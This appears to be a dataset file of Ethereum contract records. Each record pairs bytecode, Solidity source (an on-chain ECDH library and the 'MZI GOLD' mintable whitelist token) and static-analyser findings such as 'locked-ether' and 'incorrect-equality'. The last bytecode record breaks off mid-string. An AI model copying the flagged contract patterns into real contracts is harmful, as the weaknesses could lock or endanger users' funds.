0x6080604052600436106100345760003560e01c806328ffb83d14610039578063387b817414610062578063d4fac45d14610075575b600080fd5b61004c610047366004610c66565b6100a2565b6040516100599190610f05565b60405180910390f35b61004c610070366004610c66565b61030c565b34801561008157600080fd5b50610095610090366004610c2e565b610513565b60405161005991906111b4565b6060600184146100e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9061101e565b60405180910390fd5b60006100f583850185610bf6565b905060008686600081811061010657fe5b61011c9260206060909202019081019150610bf6565b9050600061013b8888600081811061013057fe5b9050606002016105c1565b60408051600180825281830190925291925060208083019080368337019050509350828460008151811061016b57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061020783826040518060400160405280600581526020017f59564149410000000000000000000000000000000000000000000000000000008152508573ffffffffffffffffffffffffffffffffffffffff166107cd909392919063ffffffff16565b6040517fb6b55f2500000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff84169063b6b55f25906102599084906004016111b4565b600060405180830381600087803b15801561027357600080fd5b505af1925050508015610284575060015b610301576102906111ef565b8061029b57506102cf565b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190610f5f565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9061107b565b505050949350505050565b606060018414610348576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611157565b60008585600081811061035757fe5b61036d9260206060909202019081019150610bf6565b9050600061038c8787600081811061038157fe5b90506060020161096f565b604080516001808252818301909252919250602080830190803683370190505092508173ffffffffffffffffffffffffffffffffffffffff1663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156103f457600080fd5b505afa158015610408573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061042c9190610c12565b8360008151811061043957fe5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526040517f2e1a7d4d00000000000000000000000000000000000000000000000000000000815290831690632e1a7d4d9061049a9084906004016111b4565b600060405180830381600087803b1580156104b457600080fd5b505af19250505080156104c5575060015b610509576104d16111ef565b8061029b57506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de906110e9565b5050949350505050565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815260009073ffffffffffffffffffffffffffffffffffffffff8416906370a0823190610568908590600401610e97565b60206040518083038186803b15801561058057600080fd5b505afa158015610594573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b89190610d61565b90505b92915050565b6000806105d16020840184610bf6565b9050602083013560006105ea6060860160408701610d42565b905060018160028111156105fa57fe5b14806106115750600281600281111561060f57fe5b145b610647576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610fb0565b600181600281111561065557fe5b14156107be57670de0b6b3a764000082111561069d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610fe7565b600073ffffffffffffffffffffffffffffffffffffffff841673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156106d857504761077d565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8516906370a082319061072a903090600401610e97565b60206040518083038186803b15801561074257600080fd5b505afa158015610756573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077a9190610d61565b90505b670de0b6b3a76400008314156107985793506107c892505050565b670de0b6b3a76400006107ab8285610a57565b816107b257fe5b049450505050506107c8565b5091506107c89050565b919050565b81158061087b57506040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85169063dd62ed3e906108299030908790600401610eb8565b60206040518083038186803b15801561084157600080fd5b505afa158015610855573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108799190610d61565b155b6108b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90611120565b6109698463095ea7b360e01b85856040516024016108d0929190610edf565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518060400160405280600781526020017f617070726f76650000000000000000000000000000000000000000000000000081525084610aab565b50505050565b60008061097f6020840184610bf6565b9050602083013560006109986060860160408701610d42565b905060018160028111156109a857fe5b14806109bf575060028160028111156109bd57fe5b145b6109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610fb0565b6001816002811115610a0357fe5b14156107be57670de0b6b3a7640000821115610a4b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de90610fe7565b600061077a8430610513565b600082610a66575060006105bb565b82820282848281610a7357fe5b04146105b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de906110b2565b600060608573ffffffffffffffffffffffffffffffffffffffff1685604051610ad49190610d79565b6000604051808303816000865af19150503d8060008114610b11576040519150601f19603f3d011682016040523d82523d6000602084013e610b16565b606091505b5091509150818484604051602001610b2f929190610e16565b60405160208183030381529060405290610b76576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190610f5f565b50805115610bee5780806020019051810190610b929190610d22565b8484604051602001610ba5929190610d95565b60405160208183030381529060405290610bec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100de9190610f5f565b505b505050505050565b600060208284031215610c07578081fd5b81356105b8816112d1565b600060208284031215610c23578081fd5b81516105b8816112d1565b60008060408385031215610c40578081fd5b8235610c4b816112d1565b91506020830135610c5b816112d1565b809150509250929050565b60008060008060408587031215610c7b578182fd5b843567ffffffffffffffff80821115610c92578384fd5b818701915087601f830112610ca5578384fd5b813581811115610cb3578485fd5b886020606083028501011115610cc7578485fd5b602092830196509450908601359080821115610ce1578384fd5b818701915087601f830112610cf4578384fd5b813581811115610d02578485fd5b886020828501011115610d13578485fd5b95989497505060200194505050565b600060208284031215610d33578081fd5b815180151581146105b8578182fd5b600060208284031215610d53578081fd5b8135600381106105b8578182fd5b600060208284031215610d72578081fd5b5051919050565b60008251610d8b8184602087016111bd565b9190910192915050565b60007f5361666545524332303a2000000000000000000000000000000000000000000082528351610dcd81600b8501602088016111bd565b7f2072657475726e65642066616c736520696e2000000000000000000000000000600b918401918201528351610e0a81601e8401602088016111bd565b01601e01949350505050565b60007f5361666545524332303a2000000000000000000000000000000000000000000082528351610e4e81600b8501602088016111bd565b7f206661696c656420696e20000000000000000000000000000000000000000000600b918401918201528351610e8b8160168401602088016111bd565b01601601949350505050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015610f5357835173ffffffffffffffffffffffffffffffffffffffff1683529284019291840191600101610f21565b50909695505050505050565b6000602082528251806020840152610f7e8160408501602087016111bd565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b60208082526013908201527f49413a2062616420616d6f756e74207479706500000000000000000000000000604082015260600190565b6020808252600e908201527f49413a2062616420616d6f756e74000000000000000000000000000000000000604082015260600190565b60208082526021908201527f59564149413a2073686f756c64206265203120746f6b656e416d6f756e745b3160408201527f5d00000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526013908201527f59564149413a206465706f736974206661696c00000000000000000000000000604082015260600190565b60208082526010908201527f49413a206d756c206f766572666c6f7700000000000000000000000000000000604082015260600190565b60208082526014908201527f59564149413a207769746864726177206661696c000000000000000000000000604082015260600190565b6020808252601b908201527f5361666545524332303a2062616420617070726f76652063616c6c0000000000604082015260600190565b60208082526021908201527f59564149413a2073686f756c64206265203120746f6b656e416d6f756e745b3260408201527f5d00000000000000000000000000000000000000000000000000000000000000606082015260800190565b90815260200190565b60005b838110156111d85781810151838201526020016111c0565b838111156109695750506000910152565b60e01c90565b600060443d10156111ff576112ce565b600481823e6308c379a061121382516111e9565b1461121d576112ce565b6040517ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3d016004823e80513d67ffffffffffffffff816024840111818411171561126b57505050506112ce565b8284019250825191508082111561128557505050506112ce565b503d8301602082840101111561129d575050506112ce565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01681016020016040529150505b90565b73ffffffffffffffffffffffffffffffffffffffff811681146112f357600080fd5b5056fea264697066735822122087b89f5846080debb75762c1a9d3f444a28a26196b6c1da2e3bac6cd393b0e2864736f6c63430007010033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,210
0x746b4296d3589ffbb42c8c19b3b927436bb19413
pragma solidity 0.6.10; contract ECDH { using SafeMath for uint256; uint256 constant private _GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798; uint256 constant private _GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8; uint256 constant private _N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F; uint256 constant private _A = 0; function publicKey(uint256 privKey) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, _GX, _GY, 1 ); z = inverse(z); qx = mulmod(x, z, _N); qy = mulmod(y, z, _N); } function deriveKey( uint256 privKey, uint256 pubX, uint256 pubY ) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, pubX, pubY, 1 ); z = inverse(z); qx = mulmod(x, z, _N); qy = mulmod(y, z, _N); } function jAdd( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(x2, z1, _N), _N), mulmod(z1, z2, _N)); } function jSub( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(_N.sub(x2), z1, _N), _N), mulmod(z1, z2, _N)); } function jMul( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, x2, _N), mulmod(z1, z2, _N)); } function jDiv( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, z2, _N), mulmod(z1, x2, _N)); } function inverse(uint256 a) public pure returns (uint256 invA) { uint256 t = 0; uint256 newT = 1; uint256 r = _N; uint256 newR = a; uint256 q; while (newR != 0) { q = r.div(newR); (t, newT) = (newT, addmod(t, (_N.sub(mulmod(q, newT, _N))), _N)); (r, newR) = (newR, r % newR); } return t; } function ecAdd( uint256 x1, uint256 y1, uint256 z1, uint256 x2, uint256 y2, uint256 z2 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 ln; uint256 lz; uint256 da; uint256 db; if ((x1 == 0) && (y1 == 0)) { return (x2, y2, z2); } if ((x2 == 0) && (y2 == 0)) { return (x1, y1, z1); } if ((x1 == x2) && (y1 == y2)) { (ln, lz) = jMul(x1, z1, x1, z1); (ln, lz) = jMul(ln,lz,3,1); (ln, lz) = jAdd(ln,lz,_A,1); (da, db) = jMul(y1,z1,2,1); } else { (ln, lz) = jSub(y2,z2,y1,z1); (da, db) = jSub(x2,z2,x1,z1); } (ln, lz) = jDiv(ln,lz,da,db); (x3, da) = jMul(ln,lz,ln,lz); (x3, da) = jSub(x3,da,x1,z1); (x3, da) = jSub(x3,da,x2,z2); (y3, db) = jSub(x1,z1,x3,da); (y3, db) = jMul(y3,db,ln,lz); (y3, db) = jSub(y3,db,y1,z1); if (da != db) { x3 = mulmod(x3, db, _N); y3 = mulmod(y3, da, _N); z3 = mulmod(da, db, _N); } else { z3 = da; } } function ecDouble( uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { (x3, y3, z3) = ecAdd( x1, y1, z1, x1, y1, z1 ); } function ecMul( uint256 d, uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 remaining = d; uint256 px = x1; uint256 py = y1; uint256 pz = z1; uint256 acx = 0; uint256 acy = 0; uint256 acz = 1; if (d == 0) { return (0, 0, 1); } while (remaining != 0) { if ((remaining & 1) != 0) { (acx, acy, acz) = ecAdd( acx, acy, acz, px, py, pz ); } remaining = remaining.div(2); (px, py, pz) = ecDouble(px, py, pz); } (x3, y3, z3) = (acx, acy, acz); } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063c5e45aa411610066578063c5e45aa4146101ad578063c7c1ebd0146101e8578063e241c1d914610217578063eafaa41514610240578063f74cb9d11461026f5761009e565b80633e269255146100a357806363c163ad146100ea5780638940aebe14610119578063b9124a691461014f578063c2dd185e1461017e575b600080fd5b6100cc600480360360608110156100b957600080fd5b508035906020810135906040013561029e565b60408051938452602084019290925282820152519081900360600190f35b6101076004803603602081101561010057600080fd5b50356102c0565b60408051918252519081900360200190f35b6101366004803603602081101561012f57600080fd5b5035610337565b6040805192835260208301919091528051918290030190f35b6101366004803603608081101561016557600080fd5b50803590602081013590604081013590606001356103be565b6101366004803603608081101561019457600080fd5b50803590602081013590604081013590606001356103e3565b6100cc600480360360c08110156101c357600080fd5b5080359060208101359060408101359060608101359060808101359060a00135610409565b6100cc600480360360808110156101fe57600080fd5b5080359060208101359060408101359060600135610598565b6101366004803603606081101561022d57600080fd5b5080359060208101359060400135610626565b6101366004803603608081101561025657600080fd5b5080359060208101359060408101359060600135610670565b6101366004803603608081101561028557600080fd5b508035906020810135906040810135906060013561069f565b60008060006102b1868686898989610409565b91989097509095509350505050565b60008060016401000003d01984835b811561032c576102e5838363ffffffff6106c316565b9050836401000003d01961030f6401000003d0198785096401000003d0199063ffffffff61070c16565b870890955093508180848161032057fe5b919450900691506102cf565b509295945050505050565b600080600080600061038c867f79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f817987f483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b86001610598565b9194509250905061039c816102c0565b90506401000003d01981840994506401000003d0198183099350505050915091565b6000806401000003d0198487096401000003d0195b8487099097909650945050505050565b6000806401000003d019808686096401000003d0195b888609086401000003d0196103d3565b60008080808080808c15801561041d57508b155b15610434578989899650965096505050505061058c565b89158015610440575088155b15610457578c8c8c9650965096505050505061058c565b898d1480156104655750888c145b156104b9576104768d8c8f8e6103be565b90945092506104898484600360016103be565b909450925061049c8484600060016103e3565b90945092506104af8c8c600260016103be565b90925090506104dc565b6104c589898e8e610670565b90945092506104d68a898f8e610670565b90925090505b6104e88484848461069f565b90945092506104f9848481816103be565b909750915061050a87838f8e610670565b909750915061051b87838c8b610670565b909750915061052c8d8c8985610670565b909650905061053d868286866103be565b909650905061054e86828e8e610670565b9096509050818114610583576401000003d01981880996506401000003d01982870995506401000003d0198183099450610587565b8194505b505050505b96509650969350505050565b600080808686868684806001866105c15750600098508897506001965061061c95505050505050565b86156106105760018716156105e6576105de838383898989610409565b919450925090505b6105f787600263ffffffff6106c316565b965061060486868661029e565b919750955093506105c1565b91985096509450505050505b9450945094915050565b600080600080600061063b8888886001610598565b9194509250905061064b816102c0565b90506401000003d01981840994506401000003d0198183099350505050935093915050565b6000806401000003d01980866106926401000003d0198863ffffffff61070c16565b096401000003d0196103f9565b6000806401000003d0198387096401000003d0198587099097909650945050505050565b600061070583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061074e565b9392505050565b600061070583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506107f0565b600081836107da5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561079f578181015183820152602001610787565b50505050905090810190601f1680156107cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816107e657fe5b0495945050505050565b600081848411156108425760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561079f578181015183820152602001610787565b50505090039056fea264697066735822122019c577082d78ff0e869c0699619a6109a169fd399da0fb63f98492f1f058363964736f6c634300060a0033
{"success": true, "error": null, "results": {}}
1,211
0xfe4455fd433ed3ca025ec7c43cb8686ed89826cd
pragma solidity ^0.4.19; // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract MziGold is MintableToken { event Burn(address indexed burner, uint256 value); string public constant name = "MZI GOLD"; string public constant symbol = "MZG"; uint8 public constant decimals = 18; bool public allowTransferGlobal = false; bool public allowTransferWhitelist = true; bool public whitelisting = true; mapping(address => bool) public whitelist; mapping(address => bool) public managers; mapping(address => bool) public whitelistTransfer; function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply.add(_amount) < 1000000000000000000000000000); if (whitelisting) { require(whitelist[_to] == true); } return super.mint(_to, _amount); } function convertMint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { whitelist[_to] = true; mint(_to, _amount); } function transfer(address _to, uint256 _value) public returns (bool) { require(allowTransfer(msg.sender, _to)); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(allowTransfer(_from, _to)); return super.transferFrom(_from, _to, _value); } function allowTransfer(address _from, address _to) public view returns (bool) { if (allowTransferWhitelist && whitelistTransfer[_from] && whitelist[_to]) { return true; } if (allowTransferGlobal) { return true; } return false; } function allowManager() public view returns (bool) { if (msg.sender == owner) return true; if (managers[msg.sender]) return true; return false; } function setWhitelisting(bool _status) onlyOwner public { whitelisting = _status; } function setAllowTransferGlobal(bool _status) onlyOwner public { allowTransferGlobal = _status; } function setAllowTransferWhitelist(bool _status) onlyOwner public { allowTransferWhitelist = _status; } function setManager(address _manager, bool _status) onlyOwner public { managers[_manager] = _status; } function burn(address _burner, uint256 _value) onlyOwner public { require(_value <= balances[_burner]); balances[_burner] = balances[_burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(_burner, _value); Transfer(_burner, address(0), _value); } function setWhitelist(address _address, bool _status) public { require(allowManager()); whitelist[_address] = _status; } function setWhitelistTransfer(address _address, bool _status) public { require(allowManager()); whitelistTransfer[_address] = _status; } }
0x606060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461019b57806306fdde03146101c8578063095ea7b31461025657806318160ddd146102b057806323b872dd146102d9578063313ce5671461035257806340c10f1914610381578063520c5828146103db57806353d6fd59146104085780635af5f7ba1461044c5780635ec1fc191461047157806366188463146104cb57806366a16cad146105255780636c7b4ef81461056957806370a08231146105ba5780637142087c146106075780637d64bcb4146106345780638da5cb5b1461066157806395d89b41146106b65780639ad74f81146107445780639b19251a146107695780639dc29fac146107ba578063a5e90eee146107fc578063a9059cbb14610840578063b36f8e8f1461089a578063d73dd623146108c7578063dd62ed3e14610921578063e10055561461098d578063f2fde38b146109ba578063fc1f2d46146109f3578063fddfec7814610a18578063fdff9b4d14610a88575b600080fd5b34156101a657600080fd5b6101ae610ad9565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db610aec565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561021b578082015181840152602081019050610200565b50505050905090810190601f1680156102485780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561026157600080fd5b610296600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b25565b604051808215151515815260200191505060405180910390f35b34156102bb57600080fd5b6102c3610c17565b6040518082815260200191505060405180910390f35b34156102e457600080fd5b610338600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c1d565b604051808215151515815260200191505060405180910390f35b341561035d57600080fd5b610365610c48565b604051808260ff1660ff16815260200191505060405180910390f35b341561038c57600080fd5b6103c1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c4d565b604051808215151515815260200191505060405180910390f35b34156103e657600080fd5b6103ee610d7c565b604051808215151515815260200191505060405180910390f35b341561041357600080fd5b61044a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610d8f565b005b341561045757600080fd5b61046f60048080351515906020019091905050610dfd565b005b341561047c57600080fd5b6104b1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e76565b6040518082151515158152602